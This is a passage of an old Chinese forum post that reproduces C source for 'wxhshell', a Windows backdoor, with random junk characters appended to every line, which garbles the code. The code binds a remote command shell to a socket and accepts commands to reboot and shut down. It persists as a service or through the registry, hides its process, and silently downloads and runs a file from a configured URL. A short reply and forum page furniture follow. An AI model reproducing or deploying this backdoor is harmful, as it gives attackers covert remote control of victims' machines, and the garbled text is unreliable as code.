  else { [0H0%z#tU&  
)g0fN+Mb  
    switch(cmd[0]) { K+B978XD  
  FKa";f"  
  // 帮助 >[}oH2oi  
  case '?': { k:@DK9 "^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ;XKe$fsa~?  
    break; {MUB4-@?F$  
  } W'lqNOX[v  
  // 安装 Swi# ^i  
  case 'i': { UtZ,q!sg  
    if(Install()) sibYJKOy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }cKB)N BJb  
    else tK#R`AQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Rj8%% G-pt  
    break; *H>rvE.K?  
    } \8`?ir q"  
  // 卸载 )Fw/Cu  
  case 'r': { JxAQ,oOO  
    if(Uninstall()) vF$i"^;tJ;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `8:0x?X  
    else ?pDr"XH~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >DqF>w.1  
    break; G0cG%sIl  
    } d0 cL9&~qW  
  // 显示 wxhshell 所在路径 E-e(K8R  
  case 'p': { O] _4pP  
    char svExeFile[MAX_PATH]; QrZ#<{,J5  
    strcpy(svExeFile,"\n\r"); Y +gY"  
      strcat(svExeFile,ExeFile); 6*OL.~WE  
        send(wsh,svExeFile,strlen(svExeFile),0); H}@:Bri  
    break; 8`Ya7c>  
    } `?Rq44=  
  // 重启 R%E7 |NAG  
  case 'b': { c\bL_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); niVR!l  
    if(Boot(REBOOT)) Bf_$BCyGW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rr<E#w  
    else { yU$ MB,1  
    closesocket(wsh); zmMc*|  
    ExitThread(0); Dn- gP  
    } FhE{khc#  
    break; NE995;  
    } xo:kT)  
  // 关机 }\pI`;*O|  
  case 'd': { ON?Y Df  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [U\?+@E*  
    if(Boot(SHUTDOWN)) 5xY{Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S{Y zHK  
    else { <v"o+  
    closesocket(wsh); *bkb-n Kw  
    ExitThread(0); (FuIOR  
    } >}5?`.K~Q*  
    break; _IH" SVub  
    } "gM^o  
  // 获取shell 'U@o!\=a  
  case 's': { [ oWkd_dK  
    CmdShell(wsh); q76POytV|  
    closesocket(wsh); '\Xkvi  
    ExitThread(0); voWH.[n^_  
    break; Cj5mM[:s  
  } v=`yfCX-qX  
  // 退出 Qm%F]nyy  
  case 'x': { %36x'Dn ?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +A9~h/"kt  
    CloseIt(wsh); ^xo<$zn  
    break; =:W2NN'  
    } 8^mE<  
  // 离开 -[>de! T3$  
  case 'q': {  Et>#&Nw8  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~zp8%lEe  
    closesocket(wsh); 7Z-j'pq  
    WSACleanup(); i1iP'`r  
    exit(1); OATdmHW  
    break; =KRM`_QShg  
        } Aoa8Q E   
  } {@Wv@H+4  
  } @SQsEq+A?\  
&$"#hGg  
  // 提示信息 '3.\+^3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )m%uSSx#  
} ?W/.'_  
  } MJn-] E  
 tm1 =  
  return; 16NHzAQ  
} 4;`z6\u9-  
Y\xEPh  
// shell模块句柄 )XI[hVUA  
int CmdShell(SOCKET sock) f}otIf  
{ 24sMX7Q,i  
STARTUPINFO si; XqH@3Ehk  
ZeroMemory(&si,sizeof(si)); w,{h9f  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c-Gp|.C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Met?G0[  
PROCESS_INFORMATION ProcessInfo; kR]P/4r  
char cmdline[]="cmd"; bWPsfUn#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TG2#$Bq1  
  return 0; js$R^P  
} ~(kEGEF  
)&Ii! tm3  
// 自身启动模式 <z Gh}.6v  
int StartFromService(void) 1;B~n5C.   
{ /$^Tou/v  
typedef struct %ms%0%  
{ >hunV'vu'  
  DWORD ExitStatus; 1M ?BSH{  
  DWORD PebBaseAddress; h5?^MRZS  
  DWORD AffinityMask; KsDS!O  
  DWORD BasePriority; Hv6h7-  
  ULONG UniqueProcessId; jIh1)*]054  
  ULONG InheritedFromUniqueProcessId; &/@V$'G=  
}   PROCESS_BASIC_INFORMATION; Q%e<0t7  
zJQh~)  
PROCNTQSIP NtQueryInformationProcess; mhbczVw  
n 0!8)Sth  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Pnytox  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g`fG84  
?v^NimcZ  
  HANDLE             hProcess; M7#!Y=  
  PROCESS_BASIC_INFORMATION pbi; /=2aD5r  
:s aP :&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2D 4,#X  
  if(NULL == hInst ) return 0; ^PG"  
I0XJ& P%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); X[tt'5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7# AIX],  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i)#-VOhX)  
D4%J!L<P  
  if (!NtQueryInformationProcess) return 0; GRZz@bAO?$  
'9\cIni0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .*zN@y3  
  if(!hProcess) return 0; %QP[/5vQ  
<':h/ d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i/:L^SQAq  
#GM^:rF  
  CloseHandle(hProcess); ^s~)"2 g  
-K|1w'E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [@@{z9c  
if(hProcess==NULL) return 0; !y_FbJ8KC  
s8-RXEPb  
HMODULE hMod; >u=  
char procName[255]; aoy Be|H~=  
unsigned long cbNeeded; ^ `LqNG  
- 2)k!5X=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i(~DhXz*T  
t6Iy5)=zY  
  CloseHandle(hProcess); yaz6?,)  
9'MGv*Ho  
if(strstr(procName,"services")) return 1; // 以服务启动 WI\a  
fcq8aW/z_  
  return 0; // 注册表启动 @a 9.s  
} ^ZMbJe%L  
1!uBzO6/$  
// 主模块 { ^o.f  
int StartWxhshell(LPSTR lpCmdLine) A]c'T T@6  
{ ,Zmjw@ w  
  SOCKET wsl; T"xJY#)}  
BOOL val=TRUE; 7z? ;z<VJ  
  int port=0; x-i1:W9;  
  struct sockaddr_in door; EE 9w^.3a  
@}y.  
  if(wscfg.ws_autoins) Install(); C0N :z.)4  
puPI ^6y%  
port=atoi(lpCmdLine); jG>W+lq  
'0 Cp  
if(port<=0) port=wscfg.ws_port; \2@J^O1,  
_}R9!R0O  
  WSADATA data; :#:|:q.]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; um%_kX  
:k\#=u(  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   z~Q=OPCnY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); N3"JouP  
  door.sin_family = AF_INET; }Xj25` x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1.14tS-}[4  
  door.sin_port = htons(port); ^QNc!{`  
SnE^\I^O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M\{n+r -m  
closesocket(wsl); R;DU68R  
return 1; f<8Hvumw  
} _mSefPl  
9gg{i6  
  if(listen(wsl,2) == INVALID_SOCKET) { HAjl[c  
closesocket(wsl); JP8}+  
return 1; 6*i **  
} UDEGQ^)Xz|  
  Wxhshell(wsl); l~E~!MR  
  WSACleanup(); 8m") )i-  
{KgA V  
return 0; %>FtA)  
Y(Oh7VwY*P  
} n#+EG3  
v@$N,g  
// 以NT服务方式启动 \D|IN'!D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h'"m,(a   
{ T#B#q1/  
DWORD   status = 0; Z1 Nep !  
  DWORD   specificError = 0xfffffff; Om*QN]lGq  
`=Ip>7T&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f=^xU P  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6nTM~]5.  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h]<S0/  
  serviceStatus.dwWin32ExitCode     = 0; *s4|'KS2o  
  serviceStatus.dwServiceSpecificExitCode = 0; x^K4&'</  
  serviceStatus.dwCheckPoint       = 0; &3SS.&g4W  
  serviceStatus.dwWaitHint       = 0; -m@c{&r  
t9`{^<LH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v +4v  
  if (hServiceStatusHandle==0) return; $0[T<]{/?  
vx9!KWy}  
status = GetLastError(); aMI;; iL^  
  if (status!=NO_ERROR) X9| Z ?jJ  
{ bqbG+ g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t2,II\K l  
    serviceStatus.dwCheckPoint       = 0; ]r;rAOWVV  
    serviceStatus.dwWaitHint       = 0; Ql{#dcRx  
    serviceStatus.dwWin32ExitCode     = status; ehW[LRtq  
    serviceStatus.dwServiceSpecificExitCode = specificError; J2qsZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b/_Zw^DPC  
    return; }<WJR Y6j  
  } \=0;EI-j  
CtY-Gs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; CA#g(SiZ  
  serviceStatus.dwCheckPoint       = 0; <ww D*t  
  serviceStatus.dwWaitHint       = 0; n~629&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); qe.QF."y  
} WRZpu95v  
O_;BZzT  
// 处理NT服务事件,比如:启动、停止 g !^N#o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ; $rQ  
{ i~Tt\UA>  
switch(fdwControl) S #GxKMO%  
{ $$ND]qM$M  
case SERVICE_CONTROL_STOP: SNqSp.>-U"  
  serviceStatus.dwWin32ExitCode = 0; ~DD _n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !`_f  
  serviceStatus.dwCheckPoint   = 0; CzV;{[?~;  
  serviceStatus.dwWaitHint     = 0; ^\v]Ltd  
  { 8sj2@d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); k5< n:dS  
  } P8c_GEna  
  return; 2xN7lfu1RB  
case SERVICE_CONTROL_PAUSE: ()6% 1zCO  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $tu   
  break; PSc=k0D  
case SERVICE_CONTROL_CONTINUE: !5dn7Wuj  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DG;u_6;JR  
  break; =\]gL%N-|  
case SERVICE_CONTROL_INTERROGATE: D:9^^uVp  
  break; 4>(K~v5;N  
}; \y7?w*K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?`TJ0("z"  
} ),{3LIr  
q-t%spkl  
// 标准应用程序主函数 ;d<XcpK}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qt OuA  
{ 6Y[&1c8  
rv[BL.qV  
// 获取操作系统版本 \zJ^XpC  
OsIsNt=GetOsVer(); ^(&2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); *?Eu{J){7%  
5tv*uz|fv  
  // 从命令行安装 05ZYOs}  
  if(strpbrk(lpCmdLine,"iI")) Install(); X:Y1g)|K  
O#igH  
  // 下载执行文件 ~^.,Ftkb@7  
if(wscfg.ws_downexe) {  fp||<B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PE7V1U#$o,  
  WinExec(wscfg.ws_filenam,SW_HIDE); cMi9 Z]  
} Db2#QQ  
leHKBu'd  
if(!OsIsNt) { ~oOv/1v},  
// 如果时win9x,隐藏进程并且设置为注册表启动 NTJ,U2  
HideProc(); S ?t `/"O  
StartWxhshell(lpCmdLine); vasw@Uto)  
} toF6 Z  
else 'NWvQR<X  
  if(StartFromService()) bY`Chb.  
  // 以服务方式启动 |\B\IPs{%'  
  StartServiceCtrlDispatcher(DispatchTable); L\Oxyi<{  
else akw:3+`  
  // 普通方式启动 \yymp70w  
  StartWxhshell(lpCmdLine); BCExhp  
y%--/;  
return 0; @lB1t= D  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五